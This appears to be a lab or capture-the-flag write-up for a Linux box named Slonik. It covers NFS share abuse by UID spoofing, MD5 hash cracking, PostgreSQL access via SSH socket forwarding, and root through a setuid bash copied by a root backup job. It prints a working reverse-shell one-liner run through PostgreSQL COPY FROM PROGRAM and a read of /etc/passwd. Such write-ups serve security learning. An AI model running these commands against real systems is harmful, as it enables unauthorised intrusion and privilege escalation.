Slonik
Slonik is a Linux box with medium difficulty. The box starts with NFS enumeration and then continues by finding a valid user from PostgreSQL. In this box, I learned a few new techniques, and the privilege escalation part is related to the classic crontab issue.
Starting with a basic Nmap scan.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜ slonik nmap -p- --min-rate 1000 10.10.74.222 -oN port.txt
Starting Nmap 7.95 ( https://nmap.org ) at 2025-04-18 21:13 +04
Nmap scan report for 10.10.74.222
Host is up (0.092s latency).
Not shown: 65527 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
111/tcp open rpcbind
2049/tcp open nfs
36591/tcp open unknown
39205/tcp open unknown
39327/tcp open unknown
45427/tcp open unknown
47677/tcp open unknown
An NFS share immediately catches our eye.
1
2
3
4
➜ slonik showmount -e 10.10.74.222
Export list for 10.10.74.222:
/var/backups *
/home *
Mounting the NFS share and reviewing its contents.
1
2
3
4
5
6
7
8
9
10
11
12
➜ slonik mkdir share
➜ slonik sudo mount -t nfs 10.10.74.222: share
➜ slonik cd share/home
➜ home ls
service
➜ home cd service
cd: permission denied: service
<strong>➜ home ls -lah
</strong>total 12K
drwxr-xr-x 3 root root 4.0K Oct 24 2023 .
drwxr-xr-x 19 root root 4.0K Apr 18 21:11 ..
drwxr-x--- 5 1337 1337 4.0K Oct 24 2023 service
As seen above user with UID 1337 owns the service
folder.
If we create a local user with the same UID (1337), we can automatically gain access to the contents of the service
directory.
This is a well-known and fairly simple misconfiguration.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
➜ home sudo useradd -u 1337 easyone -s /bin/bash
➜ home sudo su - easyone
su: warning: cannot change directory to /home/easyone: No such file or directory
easyone@kali:/home/user/VULNLAB/slonik/share/home$ cd service/
easyone@kali:/home/user/VULNLAB/slonik/share/home/service$ ls -la
total 40
drwxr-x--- 5 easyone easyone 4096 Oct 24 2023 .
drwxr-xr-x 3 root root 4096 Oct 24 2023 ..
-rw-rw-r-- 1 easyone easyone 90 Oct 24 2023 .bash_history
-rw-r--r-- 1 easyone easyone 220 Oct 24 2023 .bash_logout
-rw-r--r-- 1 easyone easyone 3771 Oct 24 2023 .bashrc
drwx------ 2 easyone easyone 4096 Oct 24 2023 .cache
drwxrwxr-x 3 easyone easyone 4096 Oct 24 2023 .local
-rw-r--r-- 1 easyone easyone 807 Oct 24 2023 .profile
-rw------- 1 easyone easyone 326 Oct 24 2023 .psql_history
drwxrwxr-x 2 easyone easyone 4096 Oct 24 2023 .ssh
Nice and easy
The first thing that comes to mind is checking the .ssh
directory, which I eagerly did. However, it turns out SSH wasn’t configured with keys.
Next, let’s take a look at the PostgreSQL history.
1
2
3
4
5
6
7
easyone@kali:/home/user/VULNLAB/slonik/share/home/service$ cat .psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', '<REDACTED>'WHERE', network access account');
select * from users;
\q
We can see the service
user’s password hashed in MD5 format.
Let’s try cracking it offline using Hashcat.
➜ slonik hashcat -a 0 -m 0 md5_service /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 6.0+debian Linux, None+Asserts, RELOC, LLVM 17.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
============================================================================================================================================
<SNIP>
<REDACTED>:<REDACTED>
<SNIP>
Started: Fri Apr 18 21:52:16 2025
Stopped: Fri Apr 18 21:52:31 2025
After cracking the password, we excitedly attempt to connect via SSH.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
➜ slonik ssh service@10.10.74.222
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(service@10.10.74.222) Password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 6.2.0-1014-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Fri Apr 18 17:55:27 UTC 2025
System load: 0.0166015625 Processes: 124
Usage of /: 31.0% of 7.57GB Users logged in: 0
Memory usage: 24% IPv4 address for ens5: 10.10.74.222
Swap usage: 0%
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Fri Apr 18 17:53:59 2025 from 10.8.6.29
Connection to 10.10.74.222 closed.
Huh, seriously?
I couldn’t quite understand what was going on, so I tried connecting a few times. But it turns out this is some specially configured setup.
At this point, we realized that some additional enumeration is required here.
easyone@kali:/home/user/VULNLAB/slonik/share/home/service$ cat .bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit
Following the hint, we set up socket forwarding using SSH.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
slonik ssh -N -L 5432:/var/run/postgresql/.s.PGSQL.5432 service@10.10.74.222
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(service@10.10.74.222) Password:
Here, we simply performed a port forward. The -N
option doesn’t open a shell; it only forwards the port.
We don’t want that thing that disconnects us, because it’s unwanted.
1
2
3
4
5
6
7
8
9
10
11
➜ home psql -h localhost -p 5432 -U postgres
psql (17.2 (Debian 17.2-1), server 14.9 (Ubuntu 14.9-0ubuntu0.22.04.1))
Type "help" for help.
postgres=# help
You are using psql, the command-line interface to PostgreSQL.
Type: \copyright for distribution terms
\h for help with SQL commands
\? for help with psql commands
\g or terminate with semicolon to execute query
\q to quit
We’ve successfully connected to PostgreSQL. Congratz!
We can easily read the files.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
postgres=# CREATE TABLE read_files(output text);
CREATE TABLE
postgres=# COPY read_files FROM '/etc/passwd';
COPY 38
postgres=# SELECT * FROM read_files;
output
-------------------------------------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
<SNIP>
service:x:1337:1337:,,,,default password:/home/service:/bin/false
(38 rows)
Or we can directly execute commands.
1
2
3
postgres=# CREATE TABLE shell(output text);
CREATE TABLE
postgres=# COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.8.6.29 443 >/tmp/f';
1
2
3
4
5
6
➜ home rlwrap nc -lvnp 443
listening on [any] 443 ...
connect to [10.8.6.29] from (UNKNOWN) [10.10.74.222] 52918
/bin/sh: 0: can't access tty; job control turned off
$ whoami
postgres
We start exploring the environment as the PostgreSQL user.
After wasting some time, it finally occurs to us to run pspy64
.
postgres@slonik:/tmp$ wget http://10.8.6.29/pspy64
wget http://10.8.6.29/pspy64
--2025-04-18 18:23:55-- http://10.8.6.29/pspy64
Connecting to 10.8.6.29:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3104768 (3.0M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===================>] 2.96M 777KB/s in 3.9s
2025-04-18 18:23:59 (777 KB/s) - ‘pspy64’ saved [3104768/3104768]
postgres@slonik:/tmp$ ls
ls
f
pspy64
snap-private-tmp
systemd-private-739f17214c864a70a0532b060bac63f1-chrony.service-pkFT46
systemd-private-739f17214c864a70a0532b060bac63f1-systemd-logind.service-G8YuTZ
systemd-private-739f17214c864a70a0532b060bac63f1-systemd-resolved.service-y68uaa
postgres@slonik:/tmp$ chmod +x pspy64
chmod +x pspy64
postgres@slonik:/tmp$ ./pspy64
./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
<SNIP>
2025/04/18 18:25:01 CMD: UID=0 PID=2597 | /bin/bash /usr/bin/backup
2025/04/18 18:25:01 CMD: UID=0 PID=2598 | /bin/bash /usr/bin/backup
2025/04/18 18:25:01 CMD: UID=0 PID=2599 | /bin/bash /usr/bin/backup
2025/04/18 18:25:01 CMD: UID=0 PID=2600 | /bin/bash /usr/bin/backup
2025/04/18 18:25:01 CMD: UID=115 PID=2601 | postgres: 14/main: walsender postgres [local] sending backup "pg_basebackup base backup"
2025/04/18 18:25:01 CMD: UID=0 PID=2603 | /usr/lib/postgresql/14/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
2025/04/18 18:25:01 CMD: UID=115 PID=2602 | postgres: 14/main: walsender postgres [local] streaming 0/FC0000D8
2025/04/18 18:25:01 CMD: UID=0 PID=2604 | /bin/bash /usr/bin/backup
2025/04/18 18:25:02 CMD: UID=0 PID=2605 | /bin/bash /usr/bin/backup
2025/04/18 18:25:02 CMD: UID=0 PID=2606 | /bin/bash /usr/bin/backup
2025/04/18 18:25:02 CMD: UID=0 PID=2607 | /bin/bash /usr/bin/backup
2025/04/18 18:25:15 CMD: UID=115 PID=2608 | postgres: 14/main: autovacuum worker
A command named backup
is running. Let’s see what it is.
1
2
3
4
5
6
7
8
9
10
11
12
13
postgres@slonik:/$ cat /usr/bin/backup
cat /usr/bin/backup
#!/bin/bash
date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/
count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
/usr/bin/rm -rf /var/backups/*
fi
Reading the script, we can tell that it’s a simple script for backup, archiving, and deleting old archives.
The fact that all these operations are performed by root is really nice.
From here, we can easily obtain a root shell.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
postgres@slonik:/var/lib/postgresql/14/main$ cp /bin/bash easybash
cp /bin/bash easybash
postgres@slonik:/var/lib/postgresql/14/main$ chmod 4755 easybash
chmod 4755 easybash
postgres@slonik:/var/lib/postgresql/14/main$ ls -lah
ls -lah
total 1.5M
drwx------ 19 postgres postgres 4.0K Apr 18 18:46 .
drwxr-xr-x 3 postgres postgres 4.0K Oct 23 2023 ..
-rw------- 1 postgres postgres 3 Oct 23 2023 PG_VERSION
drwx------ 7 postgres postgres 4.0K Oct 24 2023 base
-rwsr-xr-x 1 postgres postgres 1.4M Apr 18 18:46 easybash
drwx------ 2 postgres postgres 4.0K Apr 18 17:12 global
drwx------ 2 postgres postgres 4.0K Oct 23 2023 pg_commit_ts
drwx------ 2 postgres postgres 4.0K Oct 23 2023 pg_dynshmem
drwx------ 4 postgres postgres 4.0K Apr 18 18:46 pg_logical
drwx------ 4 postgres postgres 4.0K Oct 23 2023 pg_multixact
drwx------ 2 postgres postgres 4.0K Oct 23 2023 pg_notify
drwx------ 2 postgres postgres 4.0K Apr 18 18:46 pg_replslot
drwx------ 2 postgres postgres 4.0K Oct 23 2023 pg_serial
drwx------ 2 postgres postgres 4.0K Oct 23 2023 pg_snapshots
drwx------ 2 postgres postgres 4.0K Apr 18 17:11 pg_stat
drwx------ 2 postgres postgres 4.0K Oct 23 2023 pg_stat_tmp
drwx------ 2 postgres postgres 4.0K Oct 23 2023 pg_subtrans
drwx------ 2 postgres postgres 4.0K Oct 23 2023 pg_tblspc
drwx------ 2 postgres postgres 4.0K Oct 23 2023 pg_twophase
drwx------ 3 postgres postgres 4.0K Apr 18 18:46 pg_wal
drwx------ 2 postgres postgres 4.0K Oct 23 2023 pg_xact
-rw------- 1 postgres postgres 88 Oct 23 2023 postgresql.auto.conf
-rw------- 1 postgres postgres 130 Apr 18 17:11 postmaster.opts
-rw------- 1 postgres postgres 98 Apr 18 17:11 postmaster.pid
After waiting a bit, we take a look inside /opt/backups/current
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
postgres@slonik:/opt/backups/current$ ls -lah
ls -lah
total 1.6M
drwxr-xr-x 19 root root 4.0K Apr 18 18:48 .
drwxr-xr-x 3 root root 4.0K Oct 23 2023 ..
-rw------- 1 root root 3 Apr 18 18:48 PG_VERSION
-rw------- 1 root root 227 Apr 18 18:48 backup_label
-rw------- 1 root root 178K Apr 18 18:48 backup_manifest
drwx------ 6 root root 4.0K Apr 18 18:48 base
-rwsr-xr-x 1 root root 1.4M Apr 18 18:48 easybash
drwx------ 2 root root 4.0K Apr 18 18:48 global
drwx------ 2 root root 4.0K Apr 18 18:48 pg_commit_ts
drwx------ 2 root root 4.0K Apr 18 18:48 pg_dynshmem
drwx------ 4 root root 4.0K Apr 18 18:48 pg_logical
drwx------ 4 root root 4.0K Apr 18 18:48 pg_multixact
drwx------ 2 root root 4.0K Apr 18 18:48 pg_notify
drwx------ 2 root root 4.0K Apr 18 18:48 pg_replslot
drwx------ 2 root root 4.0K Apr 18 18:48 pg_serial
drwx------ 2 root root 4.0K Apr 18 18:48 pg_snapshots
drwx------ 2 root root 4.0K Apr 18 18:48 pg_stat
drwx------ 2 root root 4.0K Apr 18 18:48 pg_stat_tmp
drwx------ 2 root root 4.0K Apr 18 18:48 pg_subtrans
drwx------ 2 root root 4.0K Apr 18 18:48 pg_tblspc
drwx------ 2 root root 4.0K Apr 18 18:48 pg_twophase
drwx------ 3 root root 4.0K Apr 18 18:48 pg_wal
drwx------ 2 root root 4.0K Apr 18 18:48 pg_xact
-rw------- 1 root root 88 Apr 18 18:48 postgresql.auto.conf
postgres@slonik:/opt/backups/current$ ./easybash -p
./easybash -p
easybash-5.1# whoami
whoami
root
Thats it!